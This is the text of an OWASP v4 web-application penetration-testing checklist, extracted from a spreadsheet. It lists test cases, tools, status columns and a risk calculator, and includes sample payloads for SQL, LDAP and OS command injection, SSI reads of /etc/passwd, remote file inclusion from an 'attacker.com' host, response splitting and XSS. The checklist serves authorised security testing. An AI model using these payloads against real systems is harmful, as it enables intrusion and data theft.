OWASPv4 Checklist
OWASPv4 Checklist
By Prathan Phongthiproek
Configuration and
Deploy Management Test Name
Testing
Identity Management
Test Name
Testing
OTG-IDENT-001 Test Role Definitions
Session Management
Test Name
Testing
OTG-SESS-001 Testing for Bypassing Session Management Schema
Oracle Testing
MySQL Testing
Testing PostgreSQL
MS Access Testing
Not Started
Pass
Issues
N/A
Description Tools
Use a search engine to search for Network diagrams and Configurations, Google Hacking, Sitedigger,
Credentials, Error message content. Shodan, FOCA, Punkspider
Find the version and type of a running web server to determine known Httprint, Httprecon,
vulnerabilities and the appropriate exploits. Using Desenmascarame
"HTTP header field ordering" and "Malformed requests test".
Analyze robots.txt and identify <META> Tags from website. Browser, curl, wget
Webhosting.info, dnsrecon,
Find applications hosted in the webserver (Virtual hosts/Subdomain), Nmap, fierce, Recon-ng,
non-standard ports, DNS zone transfers Intrigue
Find sensitive information from webpage comments and Metadata on Browser, curl, wget
source code.
Description Tools
Identify HSTS header on Web server through HTTP response header. Burp Proxy, ZAP, curl
curl -s -D- https://domain.com/ | grep Strict
Analyse the permissions allowed from the policy files Burp Proxy, ZAP, Nikto
(crossdomain.xml/clientaccesspolicy.xml) and allow-access-from.
Description Tools
Validate the system roles defined within the application by creating Burp Proxy, ZAP
permission matrix.
Verify that the identity requirements for user registration are aligned Burp Proxy, ZAP
with business and security requirements:
Determine which roles are able to provision users and what sort of Burp Proxy, ZAP
accounts they can provision.
Generic login error statement check, return codes/parameter values, Browser, Burp Proxy, ZAP
enumerate all possible valid userids (Login system, Forgot password)
User account names are often highly structured (e.g. Joe Bloggs
account name is jbloggs and Fred Nurks account name is fnurks) Browser, Burp Proxy, ZAP
and valid account names can easily be guessed.
Guest and Training accounts are useful ways to acquaint potential users
with system functionality prior to them completing the authorisation Burp Proxy, ZAP
process required for access.Evaluate consistency between access policy
and guest/training account access permissions.
Verify the identity requirements for user registration align with Burp Proxy, ZAP
business/security requirements. Validate the registration process.
Description Tools
Check referrer whether its HTTP or HTTPs. Sending data through HTTP Burp Proxy, ZAP
and HTTPS.
Testing for default credentials of common applications, Testing for default Burp Proxy, ZAP, Hydra
password of new accounts.
Evaluate the account lockout mechanism’s ability to mitigate
brute force password guessing. Evaluate the unlock mechanism’s Browser
resistance to unauthorized account unlocking.
Force browsing (/admin/main.php, /page.asp?authenticated=yes), Burp Proxy, ZAP
Parameter Modification, Session ID prediction, SQL Injection
Look for passwords being stored in a cookie. Examine the cookies stored
by the application. Verify that the credentials are not stored in clear text, Burp Proxy, ZAP
but are hashed. Autocompleted=off?
Check browser history issue by clicking "Back" button after logging out. Burp Proxy, ZAP, Firefox add-
Check browser cache issue from HTTP response headers (Cache- on CacheViewer2
Control: no-cache)
Description Tools
dot-dot-slash attack (../), Directory traversal, Local File inclusion/Remote Burp Proxy, ZAP, Wfuzz
File Inclusion.
Access a resource without authentication?, Bypass ACL, Force browsing Burp Proxy (Autorize), ZAP
(/admin/adduser.jsp)
Testing for role/privilege manipulate the values of hidden variables. Burp Proxy (Autorize), ZAP
Change some param groupid=2 to groupid=1
Force changing parameter value (?invoice=123 -> ?invoice=456) Burp Proxy (Autorize), ZAP
Description Tools
SessionID analysis prediction, unencrypted cookie transport, Burp Proxy, ForceSSL, ZAP,
brute-force. CookieDigger
Check HTTPOnly and Secure flag, expiration, inspect for Burp Proxy, ZAP
sensitive data.
The application doesn't renew the cookie after a successfully user Burp Proxy, ZAP
authentication.
Encryption & Reuse of session Tokens vulnerabilities, Send
Burp Proxy, ZAP
sessionID with GET method ?
Burp Proxy
(csrf_token_detect), burpy,
URL analysis, Direct access to functions without any token. ZAP
Check reuse session after logout both server-side and SSO. Burp Proxy, ZAP
Check session timeout, after the timeout has passed, all session tokens Burp Proxy, ZAP
should be destroyed or be unusable.
The application uses the same session variable for more than one
purpose. An attacker can potentially access pages in an order Burp Proxy, ZAP
unanticipated by the developers so that the session variable is set in one
context and then used in another.
Description Tools
Check for input validation, Replace the vector used to identify XSS, XSS Burp Proxy, ZAP, Xenotix XSS
with HTTP Parameter Pollution.
Check input forms/Upload forms and analyze HTML codes, Leverage Burp Proxy, ZAP, BeEF, XSS
XSS with BeEF Proxy
Craft custom HTTP requests to test the other methods to bypass URL netcat
authentication and authorization.
Identify any form or action that allows user-supplied input to bypass Input ZAP, HPP Finder (Chrome
validation and filters using HPP Plugin)
Burp Proxy (SQLipy),
SQLMap, Pangolin, Seclists
Union, Boolean, Error based, Out-of-band, Time delay. (FuzzDB)
Identify URLs for PL/SQL web applications, Access with PL/SQL Orascan, SQLInjector
Packages, Bypass PL/SQL Exclusion list, SQL Injection
Identify MySQL version, Single quote, Information_schema, Read/Write SQLMap, Mysqloit, Power
file. Injector
Comment operator (- -), Query separator (;), Stored procedures SQLMap, SQLninja, Power
(xp_cmdshell) Injector
Determine that the backend database engine is PostgreSQL by using the SQLMap
:: cast operator. Read/Write file, Shell Injection (OS command)
Enumerate the column through error-based (Group by), Obtain database SQLMap
schema combine with fuzzdb.
Identify NoSQL databases, Pass special characters (' " \ ; { } ), Attack with NoSQLMap
reserved variable name, operator.
/ldapsearch?user=*
user=*user=*)(uid=*))(|(uid=* Burp Proxy, ZAP
pass=password
Testing ORM injection is identical to SQL injection testing Hibernate, Nhibernate
Check with XML Meta Characters Burp Proxy, ZAP, Wfuzz
', " , <>, <!--/-->, &, <![CDATA[ / ]]>, XXE, TAG
• Presense of .shtml extension
• Check for these characters Burp Proxy, ZAP
< ! # = / . " - > and [a-zA-Z0-9]
• include String = <!--#include virtual="/etc/passwd" -->
Check for XML error enumeration by supplying a single quote (')
Username: ‘ or ‘1’ = ‘1 Burp Proxy, ZAP
Password: ‘ or ‘1’ = ‘1
• Identifying vulnerable parameters with special characters
(i.e.: \, ‘, “, @, #, !, |)
• Understanding the data flow and deployment structure of the Burp Proxy, ZAP
client
• IMAP/SMTP command injection (Header, Body, Footer)
Enter OS commands in the input field. Burp Proxy, ZAP, Liffy,
?arg=1; system('id') Panoptic
LFI with dot-dot-slash (../../), PHP Wrapper (php://filter/convert.base64- Burp Proxy, fimap, Liffy
encode/resource)
RFI from malicious URL Burp Proxy, fimap, Liffy
?page.php?file=http://attacker.com/malicious_page
Understand the application platform, OS, folder structure, relative
path and execute OS commands on a Web server. Burp Proxy, ZAP, Commix
%3Bcat%20/etc/passwd
test.pdf+|+Dir C:\
• Testing for heap overflow vulnerability Immunity Canvas, Spike, MSF,
• Testing for stack overflow vulnerability Nessus
• Testing for format string vulnerability
param=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.1%20200%20OK%0d%0aContent-Type: Burp Proxy, ZAP, netcat
%20text/html%0d%0aContent-Length:%2035%0d%0a%0d
%0a<html>Sorry,%20System%20Down</html>
Description Tools
Locate error codes generated from applications or web servers. Collect
sensitive information from that errors (Web Server, Application Server, Burp Proxy, ZAP
Database)
• Invalid Input / Empty inputs
• Input that contains non alphanumeric characters or query syn
tax Burp Proxy, ZAP
• Access to internal pages without authentication
• Bypassing application flow
Description Tools
Identify SSL service, Idectify weak ciphers/protocols (ie. RC4, BEAST, testssl.sh, SSL Breacher
CRIME, POODLE)
Description Tools
• Looking for data entry points or hand off points between systems or Burp Proxy, ZAP
software.
• Once found try to insert logically invalid data into the application/system.
Description Tools
Test for the user inputs obtained from client-side JavaScript Objects Burp Proxy, DOMinator
Inject JavaScript code: Burp Proxy, ZAP
www.victim.com/?javascript:alert(1)
Send malicious HTML code: Burp Proxy, ZAP
?user=<img%20src='aaa'%20onerror=alert(1)>
Modify untrusted URL input to a malicious site: (Open Redirect) Burp Proxy, ZAP
?redirect=www.fake-target.site
Identify that the application is using WebSockets by inspecting ws:// or Burp Proxy, Chrome, ZAP,
wss:// URI scheme.Use Google Chrome's Developer Tools to view the WebSocket Client
Network WebSocket communication. Check Origin, Confidentiality and
Integrity, Authentication, Authorization, Input Sanitization
Analyse JavaScript code looking for how Web Messaging is Burp Proxy, ZAP
implemented. How the website is restricting messages from untrusted
domain and how the data is handled even for trusted domains
Determine whether the website is storing sensitive data in the storage. Chrome, Firebug, Burp Proxy,
XSS in localstorage ZAP
http://server/StoragePOC.html#<img src=x onerror=alert(1)>
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
No. Vulnerability Name OTG Affected Host/Path Impact Likelihood Risk
www.example.com/n High
1 SQL Injection OTG-INPVAL-005 High Moderate
ews.php (id,page)
Test
Observation/Implication Recommendation Evidence
xxx-1
OWASP Risk Assessment Calculator
Risk Assessment Calculator
Likelihood factors Impact factors
Threat Agent Factors Technical Impact Factors
Skills required Network and programmaing skills [3] 3 Loss of confidentiality
Motive Possible reward [4] 4 Loss of Integrity
Opportunity Full access or expensive resources required [0] 0 Loss of Availability
Population Size System Administrators [2] 2 Loss of Accountability
Impact
Likelihood Low ->Moderate<- High
->Low<- Note ->Low<- Moderate
Moderate Low Moderate High
High Moderate High Critical
culator
tor
rs REF
pact Factors
Minimal non-sensitive data disclosed [2] 2
All data totally corrupt [9] 9
Minimal secondary services interrupted [1] 1
Not Applicable [0] 0
pact Factors
Minor effect on annual profit [3] 3
Loss of major accounts [4] 4
Clear violation [5] 5
One individual [3] 3
3.375
http://paradoslabs.nl/owaspcalc/index.php
Skills required Motive
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Security penetration skills [1] 1 Low or no reward [1] 1
Network and programmaing skills [3] 3 Possible reward [4] 4
Advanced computer user [4] 4 High reward [9] 9
Some technical skills [6] 6
no technical skills [9] 9